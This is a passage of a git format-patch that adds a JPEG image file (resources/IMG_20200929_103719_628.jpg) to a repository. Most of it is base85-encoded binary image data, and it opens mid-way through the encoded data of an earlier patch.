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 Date: Sun, 10 Jan 2021 22:48:15 +0530 Subject: [PATCH 466/838] Add files via upload --- resources/IMG_20200929_103719_628.jpg | Bin 0 -> 24043 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 resources/IMG_20200929_103719_628.jpg diff --git a/resources/IMG_20200929_103719_628.jpg b/resources/IMG_20200929_103719_628.jpg new file mode 100644 index 0000000000000000000000000000000000000000..f56bd07ec92b6eaa168cf8ec8c05043e397c6aab GIT binary patch literal 24043 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 